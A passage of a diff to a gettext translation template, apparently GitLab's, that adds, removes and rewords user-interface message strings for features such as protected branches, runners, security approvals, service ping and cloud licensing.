msgstr ""
-msgid "Preferences|For example: 30 mins ago."
+msgid "Preferences|For example: 30 minutes ago."
msgstr ""
msgid "Preferences|Gitpod"
@@ -24809,9 +24776,6 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|These settings will update how dates and times are displayed for you."
-msgstr ""
-
msgid "Preferences|This feature is experimental and translations are not complete yet"
msgstr ""
@@ -24821,12 +24785,6 @@ msgstr ""
msgid "Preferences|This setting allows you to customize the behavior of the system layout and default views."
msgstr ""
-msgid "Preferences|Time display"
-msgstr ""
-
-msgid "Preferences|Time format"
-msgstr ""
-
msgid "Preferences|Time preferences"
msgstr ""
@@ -25427,9 +25385,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25457,6 +25412,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25469,9 +25427,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25520,9 +25475,6 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
@@ -25649,6 +25601,9 @@ msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
+msgid "ProjectService|Run CI/CD pipelines with Buildkite."
+msgstr ""
+
msgid "ProjectService|Run CI/CD pipelines with Drone."
msgstr ""
@@ -25661,6 +25616,9 @@ msgstr ""
msgid "ProjectService|The build configuration ID of the TeamCity project."
msgstr ""
+msgid "ProjectService|The token you get after you create a Buildkite pipeline with a GitLab repository."
+msgstr ""
+
msgid "ProjectService|To configure this integration, you should:"
msgstr ""
@@ -25808,6 +25766,9 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
+msgid "ProjectSettings|Flexible tool to collaboratively develop ideas and plan work in this project."
+msgstr ""
+
msgid "ProjectSettings|Forks"
msgstr ""
@@ -25829,9 +25790,6 @@ msgstr ""
msgid "ProjectSettings|LFS objects from this repository are available to forks. %{linkStart}How do I remove them?%{linkEnd}"
msgstr ""
-msgid "ProjectSettings|Lightweight issue tracking system."
-msgstr ""
-
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
@@ -26120,6 +26078,9 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
+msgid "Projects that can be accessed"
+msgstr ""
+
msgid "Projects to index"
msgstr ""
@@ -26189,9 +26150,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26207,9 +26165,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26375,7 +26330,7 @@ msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
msgstr ""
-msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
+msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page have been deprecated."
msgstr ""
msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
@@ -26390,9 +26345,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26411,9 +26363,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26567,12 +26516,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26582,6 +26540,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26597,6 +26558,9 @@ msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26624,9 +26588,6 @@ msgstr ""
msgid "ProtectedEnvironment|Select users"
msgstr ""
-msgid "ProtectedEnvironment|Select users to deploy and manage Feature Flag settings"
-msgstr ""
-
msgid "ProtectedEnvironment|There are currently no protected environments. Protect an environment with this form."
msgstr ""
@@ -26642,6 +26603,21 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
@@ -26888,9 +26864,6 @@ msgstr ""
msgid "Re-verification interval"
msgstr ""
-msgid "Reactivate this user"
-msgstr ""
-
msgid "Read documentation"
msgstr ""
@@ -26933,6 +26906,9 @@ msgstr ""
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
+msgid "Receive any notifications from GitLab."
+msgstr ""
+
msgid "Receive notifications about your own activity"
msgstr ""
@@ -26990,6 +26966,9 @@ msgstr ""
msgid "References"
msgstr ""
+msgid "Refine your search criteria (select a %{strong_open}group%{strong_close} and %{strong_open}project%{strong_close} when possible)"
+msgstr ""
+
msgid "Refresh"
msgstr ""
@@ -27055,6 +27034,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27082,6 +27064,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27186,6 +27171,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove access"
+msgstr ""
+
msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
msgstr ""
@@ -27653,9 +27641,6 @@ msgstr ""
msgid "RepositoriesAnalytics|No test coverage to display"
msgstr ""
-msgid "RepositoriesAnalytics|Overall activity"
-msgstr ""
-
msgid "RepositoriesAnalytics|Please select a project or multiple projects to display their most recent test coverage data."
msgstr ""
@@ -27725,6 +27710,9 @@ msgstr ""
msgid "Repository mirroring"
msgstr ""
+msgid "Repository mirroring configuration"
+msgstr ""
+
msgid "Repository must contain at least 1 file."
msgstr ""
@@ -28032,9 +28020,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28141,9 +28126,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28156,6 +28138,9 @@ msgstr ""
msgid "Rules that define what git pushes are accepted for a project. All newly created projects will use these settings."
msgstr ""
+msgid "Run %{code_start}git fsck%{code_end} periodically in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "Run CI/CD pipelines for external repositories"
msgstr ""
@@ -28270,6 +28255,9 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
@@ -28318,12 +28306,21 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching runner data."
+msgstr ""
+
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28369,6 +28366,18 @@ msgstr ""
msgid "Runners|group"
msgstr ""
+msgid "Runners|instance"
+msgstr ""
+
+msgid "Runners|locked"
+msgstr ""
+
+msgid "Runners|paused"
+msgstr ""
+
+msgid "Runners|project"
+msgstr ""
+
msgid "Runners|shared"
msgstr ""
@@ -28498,9 +28507,6 @@ msgstr ""
msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
-msgid "Saved scan settings and target site settings which are reusable."
-msgstr ""
-
msgid "Saving"
msgstr ""
@@ -28585,6 +28591,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28669,9 +28678,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28802,12 +28808,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28859,21 +28859,57 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
+msgstr ""
+
+msgid "SecurityApprovals|A merge request approval is required when test coverage declines."
+msgstr ""
+
+msgid "SecurityApprovals|A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
+
msgid "SecurityApprovals|Configurable if security scanners are enabled. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityApprovals|Coverage-Check"
+msgstr ""
+
+msgid "SecurityApprovals|Learn more about Coverage-Check"
+msgstr ""
+
+msgid "SecurityApprovals|Learn more about License-Check"
+msgstr ""
+
+msgid "SecurityApprovals|Learn more about Vulnerability-Check"
+msgstr ""
+
msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}Learn more%{linkEnd}."
msgstr ""
+msgid "SecurityApprovals|License-Check"
+msgstr ""
+
msgid "SecurityApprovals|Requires approval for Denied licenses. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "SecurityApprovals|Requires approval for decreases in test coverage. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityApprovals|Test coverage must be enabled. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "SecurityApprovals|Vulnerability-Check"
+msgstr ""
+
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28889,15 +28925,15 @@ msgstr ""
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
-msgid "SecurityConfiguration|Code snippet for the %{scanType} configuration"
-msgstr ""
-
msgid "SecurityConfiguration|Compliance"
msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28928,6 +28964,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable %{feature}"
msgstr ""
+msgid "SecurityConfiguration|Enable Auto DevOps"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28946,6 +28985,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28955,6 +28997,12 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Quickly enable all continuous testing and compliance tools by enabling %{linkStart}Auto DevOps%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|Runtime security metrics for application environments."
msgstr ""
@@ -28979,7 +29027,7 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
msgid "SecurityConfiguration|Upgrade or start a free trial"
@@ -29009,15 +29057,30 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|+%{count} more"
+msgstr ""
+
+msgid "SecurityPolicies|All policies"
+msgstr ""
+
msgid "SecurityPolicies|Description"
msgstr ""
msgid "SecurityPolicies|Enforcement status"
msgstr ""
+msgid "SecurityPolicies|Environment(s)"
+msgstr ""
+
msgid "SecurityPolicies|Latest scan"
msgstr ""
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
msgid "SecurityPolicies|Scan execution"
msgstr ""
@@ -29282,7 +29345,7 @@ msgstr ""
msgid "See metrics"
msgstr ""
-msgid "See our website for getting help"
+msgid "See our website for help"
msgstr ""
msgid "See the affected projects in the GitLab admin panel"
@@ -29312,9 +29375,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29351,9 +29411,6 @@ msgstr ""
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
-msgid "Select a subgroup to use as a template when creating new projects in the group."
-msgstr ""
-
msgid "Select a template repository"
msgstr ""
@@ -29390,6 +29447,9 @@ msgstr ""
msgid "Select file"
msgstr ""
+msgid "Select group"
+msgstr ""
+
msgid "Select group or project"
msgstr ""
@@ -29450,6 +29510,9 @@ msgstr ""
msgid "Select strategy activation method"
msgstr ""
+msgid "Select subgroup"
+msgstr ""
+
msgid "Select subscription"
msgstr ""
@@ -29549,7 +29612,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29675,6 +29738,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29708,6 +29774,18 @@ msgstr ""
msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
+msgid "ServicePing|Service ping is off"
+msgstr ""
+
+msgid "ServicePing|To view instance-level analytics, ask an admin to turn on %{docLinkStart}service ping%{docLinkEnd}."
+msgstr ""
+
+msgid "ServicePing|Turn on service ping"
+msgstr ""
+
+msgid "ServicePing|Turn on service ping to review instance-level analytics."
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -29780,9 +29858,6 @@ msgstr ""
msgid "Set the default expiration time for each job's artifacts. 0 for unlimited. The default unit is in seconds, but you can define an alternative. For example: %{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}."
msgstr ""
-msgid "Set the default name of the initial branch when creating new repositories through the user interface."
-msgstr ""
-
msgid "Set the due date to %{due_date}."
msgstr ""
@@ -29999,9 +30074,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30062,12 +30134,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30198,6 +30264,9 @@ msgstr ""
msgid "Sign up was successful! Please confirm your email to sign in."
msgstr ""
+msgid "Sign-in and Help page"
+msgstr ""
+
msgid "Sign-in count:"
msgstr ""
@@ -30273,9 +30342,6 @@ msgstr ""
msgid "Size limit per repository (MB)"
msgstr ""
-msgid "Size settings for static websites"
-msgstr ""
-
msgid "Skip outdated deployment jobs"
msgstr ""
@@ -30405,9 +30471,6 @@ msgstr ""
msgid "Something went wrong on our end"
msgstr ""
-msgid "Something went wrong on our end while loading the code quality diff."
-msgstr ""
-
msgid "Something went wrong on our end."
msgstr ""
@@ -30501,6 +30564,9 @@ msgstr ""
msgid "Something went wrong while fetching requirements list."
msgstr ""
+msgid "Something went wrong while fetching source branches."
+msgstr ""
+
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
@@ -30549,9 +30615,18 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} health status."
+msgstr ""
+
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
+msgid "Something went wrong while setting %{issuableType} weight."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30618,12 +30693,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30657,9 +30726,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30672,6 +30738,15 @@ msgstr ""
msgid "SortOptions|Manual"
msgstr ""
+msgid "SortOptions|Merged date"
+msgstr ""
+
+msgid "SortOptions|Merged earlier"
+msgstr ""
+
+msgid "SortOptions|Merged recently"
+msgstr ""
+
msgid "SortOptions|Milestone due date"
msgstr ""
@@ -30702,9 +30777,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30756,6 +30828,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30774,6 +30849,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30987,9 +31065,6 @@ msgstr ""
msgid "Started asynchronous removal of all repository check states."
msgstr ""
-msgid "Started:"
-msgstr ""
-
msgid "Starting..."
msgstr ""
@@ -31092,12 +31167,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31116,6 +31197,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
msgstr ""
@@ -31143,6 +31227,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31200,9 +31287,6 @@ msgstr ""
msgid "Step 4."
msgstr ""
-msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
-msgstr ""
-
msgid "Stop Terminal"
msgstr ""
@@ -31242,9 +31326,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31599,6 +31680,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31620,7 +31704,10 @@ msgstr ""
msgid "SuperSonics|Cloud license"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31683,18 +31770,15 @@ msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
-msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgid "SuperSonics|Sync subscription request."
msgstr ""
-msgid "SuperSonics|The subscription details synced successfully."
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,6 +31824,9 @@ msgstr ""
msgid "SuperSonics|Your subscription"
msgstr ""
+msgid "SuperSonics|Your subscription details will sync shortly."
+msgstr ""
+
msgid "SuperSonics|Your subscription was successfully activated. You can see the details below."
msgstr ""
@@ -31770,6 +31857,9 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
+msgid "Sync LDAP"
+msgstr ""
+
msgid "Sync now"
msgstr ""
@@ -31779,6 +31869,9 @@ msgstr ""
msgid "Synchronization settings"
msgstr ""
+msgid "Synchronize LDAP"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -31965,6 +32058,12 @@ msgstr ""
msgid "Team domain"
msgstr ""
+msgid "TeamcityIntegration|Trigger TeamCity CI after a merge request has been created or updated"
+msgstr ""
+
+msgid "TeamcityIntegration|Trigger TeamCity CI after every push to the repository, except branch delete"
+msgstr ""
+
msgid "Telephone number"
msgstr ""
@@ -32016,6 +32115,15 @@ msgstr ""
msgid "Terraform"
msgstr ""
+msgid "TerraformBanner|Learn more about GitLab's Backend State"
+msgstr ""
+
+msgid "TerraformBanner|The GitLab managed Terraform state backend can store your Terraform state easily and securely, and spares you from setting up additional remote resources. Its features include: versioning, encryption of the state file both in transit and at rest, locking, and remote Terraform plan/apply execution."
+msgstr ""
+
+msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -32276,9 +32384,6 @@ msgstr ""
msgid "Text style"
msgstr ""
-msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
-msgstr ""
-
msgid "Thank you for your business."
msgstr ""
@@ -32326,7 +32431,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32335,6 +32440,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32344,6 +32452,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,6 +32524,9 @@ msgstr ""
msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
+msgid "The default branch for this project has been changed. Please update your bookmarks."
+msgstr ""
+
msgid "The dependency list details information about the components used within your project."
msgstr ""
@@ -32511,12 +32625,15 @@ msgstr ""
msgid "The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. You can %{leave_group_links}."
msgstr ""
-msgid "The group will be placed in 'pending removal' state"
+msgid "The group will be placed in 'pending deletion' state"
msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32745,9 +32862,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32874,7 +32988,7 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations. Indexing must remain paused until the migrations are completed."
+msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
msgstr ""
msgid "There are running deployments on the environment. Please retry later."
@@ -32937,9 +33051,21 @@ msgstr ""
msgid "There was a problem fetching project users."
msgstr ""
+msgid "There was a problem fetching recent groups."
+msgstr ""
+
+msgid "There was a problem fetching recent projects."
+msgstr ""
+
+msgid "There was a problem fetching the job token scope value"
+msgstr ""
+
msgid "There was a problem fetching the keep latest artifacts setting."
msgstr ""
+msgid "There was a problem fetching the projects"
+msgstr ""
+
msgid "There was a problem fetching users."
msgstr ""
@@ -33027,6 +33153,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33138,7 +33267,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33177,25 +33306,19 @@ msgstr ""
msgid "This URL is already used for another link; duplicate URLs are not allowed"
msgstr ""
-msgid "This account has been locked"
-msgstr ""
-
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
msgid "This action cannot be undone, and will permanently delete the %{key} SSH key"
msgstr ""
-msgid "This action cannot be undone. You will lose this project's repository and all related resources, including issues, merge requests, etc."
-msgstr ""
-
msgid "This action has been performed too many times. Try again later."
msgstr ""
-msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all related resources, including issues, merge requests, etc."
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all related resources, including issues and merge requests."
msgstr ""
-msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}on %{date}%{strongClose}, including its repositories and all related resources, including issues, merge requests, etc."
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}on %{date}%{strongClose}, including its repositories and all related resources, including issues and merge requests."
msgstr ""
msgid "This also resolves all related threads"
@@ -33234,6 +33357,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This clears repository check states for all projects in the database and cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
msgstr ""
@@ -33321,6 +33447,9 @@ msgstr ""
msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
msgstr ""
+msgid "This group can't be transfered because it is linked to a subscription. To transfer this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -33522,9 +33651,6 @@ msgstr ""
msgid "This only applies to repository indexing operations."
msgstr ""
-msgid "This option deletes the user and any contributions that would usually be moved to the %{link_to_ghost_user}. As well as the user's personal projects, groups owned solely by the user, and projects in them, will also be removed. Commits to other projects are unaffected."
-msgstr ""
-
msgid "This option is only available on GitLab.com"
msgstr ""
